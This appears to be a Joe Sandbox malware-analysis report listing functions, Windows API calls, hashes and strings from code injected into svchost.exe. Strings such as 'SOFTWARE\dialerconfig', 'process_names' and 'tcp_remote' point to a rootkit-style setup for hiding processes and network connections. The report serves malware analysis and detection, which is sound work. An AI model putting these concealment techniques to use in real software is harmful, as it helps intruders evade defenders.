Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 1db1360ba7b751730b1259011854ce9dc25cb220d1e3979c32bb2201401d3ca7
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 16015A32648F90C6E709DF66FD0A64A77A4F788F82F084825EA5A43729DE38C451C744

Function 00000257E10B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000257E10B2A9C
GetLastError.KERNEL32 ref: 00000257E10B2B27

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: d3f0363712b424162af198fcb1f2ccd060454dcd3d61e37f8d2bcd7dd235890b
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 55912632758F5485F76ADF65AC4BBAD3BA0F344B8AF144189DE0A57A94CF34D482C708

Function 00000257E10A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000257E10A798C
GetCurrentThreadId.KERNEL32 ref: 00000257E10A799A
GetCurrentProcessId.KERNEL32 ref: 00000257E10A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000257E10A79B6

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a2a4f887a9f13fcddb2c7929769560035c01c8ba1ff43c4decbc8a8071c20252
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: CA113C22754F018AEB01CF60FC5A3A833A4F719759F440E21EA6D867A4DF78C1A8C380

Function 00000257E10A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2620
StrCpyW.SHLWAPI ref: 00000257E10A2639

Strings

\\.\pipe\, xrefs: 00000257E10A262B

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: d8c6a38f007fb3a7686c76c7a8283c4c2af24b0e33f9ff83396385155cc53d9c
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6F71E336288F8186E72EDE25BC5B3EE6B90F789B86F440066DD0A47B88DF34C641C714

Function 00000257E1079E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000257E1079EB7

Strings

MOC, xrefs: 00000257E1079E7C
RCC, xrefs: 00000257E1079E85

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 72cc404f53ef2108c57ae6d6efccfd71c2e81a8e4ff4a0d360792559cd38555b
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CD61AC33608F848AEB2AEF65E8463AD77A0F344B99F044655EF4A17B98DB38D095C704

Function 00000257E10A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2416
StrCpyW.SHLWAPI ref: 00000257E10A242D

Strings

\\.\pipe\, xrefs: 00000257E10A2421

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: f4fc28d39a0cdc524aee5adda2c2e0e63ac63cf0b53b223d59b02d2ca35e917c
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 3E51063268CF8181F67EDE29B85F3AAA761F385781F440175DE9A03B49DE39C504C768

Function 00000257E10B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000257E10B2807
GetLastError.KERNEL32 ref: 00000257E10B2829

Strings

U, xrefs: 00000257E10B27B3

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 36eee36a702be5d229b17d9c9138d260910e3688b71927c4caf75304bb23e6ee
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: FE41A232359F8082EB26DF25F84A7AA77A0F798795F504021EE4D87794EB3CD441CB48

Function 00000257E10A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000257E10A94F0
RaiseException.KERNEL32 ref: 00000257E10A9531

Strings

csm, xrefs: 00000257E10A951E

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e302ae30e49da29a726c6f913943f5073bbf1f5ae9d0972a697904f802fd5f1d
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 55112B36219F8082EB668B25F84635977E5F788B95F584260EECD07758DF3CC551CB04

Function 00000257E1077356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E107737C

Strings

riptor at (, xrefs: 00000257E1077364
ierarchy Descriptor', xrefs: 00000257E1077381

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 5c07be2ebc4b5c2c17967540651cfe820deff558361af11c6e94b5f60bbdcb6a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 5FE086A1684F4490DF078F21FC4629873A0EB59B64F499162995C0A311FA38D1F9C300

Function 00000257E10773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E10773D8

Strings

riptor at (, xrefs: 00000257E10773C0
Locator', xrefs: 00000257E10773DD

Memory Dump Source

Source File: 00000042.00000002.3308766980.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 558cecf372c16398b9b2aefa91b5521037ba77d7552cbc05b4debd7ca50bbfaf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 65E086A1644F4490DF068F21E8421987360E759B54F889162C95C0A311EA38D1E5C300

Function 00000257E10A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1C2D
HeapAlloc.KERNEL32 ref: 00000257E10A1C3B
GetProcessHeap.KERNEL32 ref: 00000257E10A1C77
HeapFree.KERNEL32 ref: 00000257E10A1C85

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 2d0e3eb43654a43f3f6b80af6b512799269a4d278d6165dc18c830e96e57c320
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F8118C25645F4882EA0ADB66F84B72973A1FB89FC2F184468DE8D47766DE38C442C304

Function 00000257E10A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A126E
HeapAlloc.KERNEL32 ref: 00000257E10A127D
GetProcessHeap.KERNEL32 ref: 00000257E10A1297
HeapAlloc.KERNEL32 ref: 00000257E10A12A8

Memory Dump Source

Source File: 00000042.00000002.3308827903.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8832b056897a9b8ba16723e3fafdb3eff0c8063a4678bd85c9cbe2902852df6c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E06535A41F0486EB09CF62EC0E74A36E1FB89F06F08C424C91907361DF7D8499CB90

Analysis Process: svchost.exePID: 732, Parent PID: 7660COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	230
Total number of Limit Nodes:	4

Executed Functions

Function 000001F28C931268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C93126E
HeapAlloc.KERNEL32 ref: 000001F28C93127D
GetProcessHeap.KERNEL32 ref: 000001F28C931297
HeapAlloc.KERNEL32 ref: 000001F28C9312A8

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8f8718106759883864cae2a8ca865240e286cea242c12ae6e8bb01d1b0de8f1e
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: F4E06DB5641E45C7EB048F62D8083AA3AE1FB8DF86F04C024C90907351DF7D8599C750

Function 000001F28C93328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001F28C9332AE
PathFindFileNameW.SHLWAPI ref: 000001F28C9332BD

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Part of subcall function 000001F28C933790: GetModuleHandleW.KERNEL32 ref: 000001F28C93379E
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C9337CC
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C9337EE
Part of subcall function 000001F28C933790: GetCurrentProcess.KERNEL32 ref: 000001F28C933809
Part of subcall function 000001F28C933790: VirtualProtectEx.KERNEL32 ref: 000001F28C93382A

CreateThread.KERNEL32 ref: 000001F28C93330B

Part of subcall function 000001F28C931D14: GetCurrentThread.KERNEL32 ref: 000001F28C931D1F

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b4d9601b441b195fc890c788491207d0644a6a96c7f54882ecefb715d9f87218
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: B7118471AD0EC382FB60A731F8053F922D4B7543C5F98A1BCD90E87995EF79C0458200

Function 000001F28C931ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001F28C931628: GetProcessHeap.KERNEL32 ref: 000001F28C931633
Part of subcall function 000001F28C931628: HeapAlloc.KERNEL32 ref: 000001F28C931642
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931734
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93176F
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA

Sleep.KERNEL32 ref: 000001F28C931AD7
SleepEx.KERNELBASE ref: 000001F28C931ADD

Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931820
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C93185B
Part of subcall function 000001F28C931628: RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C931896
Part of subcall function 000001F28C931628: RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b67c1932e62b7ac0013a9a1692b6bd7ceba26b73bf7a76d8ab9135420b3866fa
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 81316871281EC292EB509B36DA512F963F5AB84BD4F0C74B1DE09876BAFF34C851C211

Function 000001F28C933844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001F28C93385C

Strings

dialer, xrefs: 000001F28C933855

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 35bd7b7e84aeabd97046de9deeb150375f1cc12c8c169a2c29cf3a1cf66da4a6
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 3ED05E71391A8786FB149FA688C46B06390AB047C4F8C90B4CE0403550DB38C98E9610

Function 000001F28C1D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001F28C1D285E

Memory Dump Source

Source File: 00000043.00000002.3317699689.000001F28C1D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C1D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c1d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: f44ca3bbc8084d92389e86a6591f077caaf6d236089e246760dd531db40c924a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: C761A172B41AA287DB988F1590807B97BD2F754BD4F588135DF6907788DB38ECA2C700

Function 000001F28C93CA0C Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 000001F28C93CA4A

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction ID: 37f6b4a35d52c06492a2f816035ee87f2c0b4da3a164c87f2d500a2a78e06805
Opcode Fuzzy Hash: aac0828ce12dfb82e5a667a172eb8e62085a22ffbd2f9ceececb1565634b64c0
Instruction Fuzzy Hash: 9CF085703A1EC385FA64A7B258113F612C04B88BE0F0CA3F0ED2AC72C2DB3C84808620

Non-executed Functions

Function 000001F28C932B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001F28C932BD0
lstrlenW.KERNEL32 ref: 000001F28C932E0A

Part of subcall function 000001F28C93199C: OpenProcess.KERNEL32 ref: 000001F28C9319C2
Part of subcall function 000001F28C93199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001F28C9319E0
Part of subcall function 000001F28C93199C: PathFindFileNameW.SHLWAPI ref: 000001F28C9319EF
Part of subcall function 000001F28C93199C: lstrlenW.KERNEL32 ref: 000001F28C9319FB
Part of subcall function 000001F28C93199C: StrCpyW.SHLWAPI ref: 000001F28C931A0E
Part of subcall function 000001F28C93199C: CloseHandle.KERNEL32 ref: 000001F28C931A1C

GetProcAddress.KERNEL32 ref: 000001F28C932BE5

Part of subcall function 000001F28C93152C: StrCmpIW.SHLWAPI ref: 000001F28C93155D

Part of subcall function 000001F28C933844: StrCmpNIW.SHLWAPI ref: 000001F28C93385C

StrCmpNIW.SHLWAPI ref: 000001F28C932C28
lstrlenW.KERNEL32 ref: 000001F28C932D50

Strings

NtQueryObject, xrefs: 000001F28C932BDB
\Device\Nsi, xrefs: 000001F28C932C1B
ntdll.dll, xrefs: 000001F28C932BC9

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 5ddfa2ae8d86f9d74b9217bdca104cd19bacd61b75c306f4a54b144b8a2605f5
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A3B16776250ED286EB698F35D4417F963E5FB44BC4F4860B6EE0997BA6EB35C880C340

Function 000001F28C937D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001F28C937DAC
RtlCaptureContext.NTDLL ref: 000001F28C937DD9
RtlLookupFunctionEntry.NTDLL ref: 000001F28C937DF3
RtlVirtualUnwind.NTDLL ref: 000001F28C937E34
IsDebuggerPresent.KERNEL32 ref: 000001F28C937E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C937EB4

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 315950f2970cd4e23eb0bb7edb8b7cf3ceedc3dc3316b9e43c8c6da18fa3bab3
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: C2313B72245FC19AEB609F60E8807FD73A5F784788F48446ADA4E57B98EF38C648C710

Function 000001F28C93D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001F28C93D31D
RtlLookupFunctionEntry.NTDLL ref: 000001F28C93D335
RtlVirtualUnwind.NTDLL ref: 000001F28C93D370
IsDebuggerPresent.KERNEL32 ref: 000001F28C93D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001F28C93D3BE

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_1f28c930000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: de600b675c99b63b07bfc61b3ea15e563d1fd6e5409b2fafadfe2c025ff4e9af
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B7316672254FC196EB608B25E8803FE73A4F789798F540166EA9D43BA8EF38C545CB00

Function 000001F28C931628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C931633
HeapAlloc.KERNEL32 ref: 000001F28C931642

Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C93126E
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C93127D
Part of subcall function 000001F28C931268: GetProcessHeap.KERNEL32 ref: 000001F28C931297
Part of subcall function 000001F28C931268: HeapAlloc.KERNEL32 ref: 000001F28C9312A8

RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316B2
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9316DF
RegCloseKey.ADVAPI32 ref: 000001F28C9316F9
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931719
RegCloseKey.ADVAPI32 ref: 000001F28C931734
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931754
RegCloseKey.ADVAPI32 ref: 000001F28C93176F
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93178F
RegCloseKey.ADVAPI32 ref: 000001F28C9317AA
RegOpenKeyExW.ADVAPI32 ref: 000001F28C9317CA
RegCloseKey.ADVAPI32 ref: 000001F28C9317E5
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931805
RegCloseKey.ADVAPI32 ref: 000001F28C931820
RegOpenKeyExW.ADVAPI32 ref: 000001F28C931840
RegCloseKey.ADVAPI32 ref: 000001F28C93185B
RegOpenKeyExW.ADVAPI32 ref: 000001F28C93187B
RegCloseKey.ADVAPI32 ref: 000001F28C931896
RegCloseKey.ADVAPI32 ref: 000001F28C9318A0

Part of subcall function 000001F28C9312BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001F28C931319
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C931327
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C931338
Part of subcall function 000001F28C9312BC: RegEnumValueW.ADVAPI32 ref: 000001F28C931397
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C9313DF
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C9313ED
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93140A
Part of subcall function 000001F28C9312BC: HeapFree.KERNEL32 ref: 000001F28C931418
Part of subcall function 000001F28C9312BC: lstrlenW.KERNEL32 ref: 000001F28C931421
Part of subcall function 000001F28C9312BC: GetProcessHeap.KERNEL32 ref: 000001F28C93142F
Part of subcall function 000001F28C9312BC: HeapAlloc.KERNEL32 ref: 000001F28C93143D

Strings

process_names, xrefs: 000001F28C93174D
SOFTWARE\dialerconfig, xrefs: 000001F28C931692
tcp_local, xrefs: 000001F28C9317FE
paths, xrefs: 000001F28C931788
udp, xrefs: 000001F28C931874
pid, xrefs: 000001F28C931712
tcp_remote, xrefs: 000001F28C931839
startup, xrefs: 000001F28C9316D5
service_names, xrefs: 000001F28C9317C3

Memory Dump Source

Source File: 00000043.00000002.3318590195.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

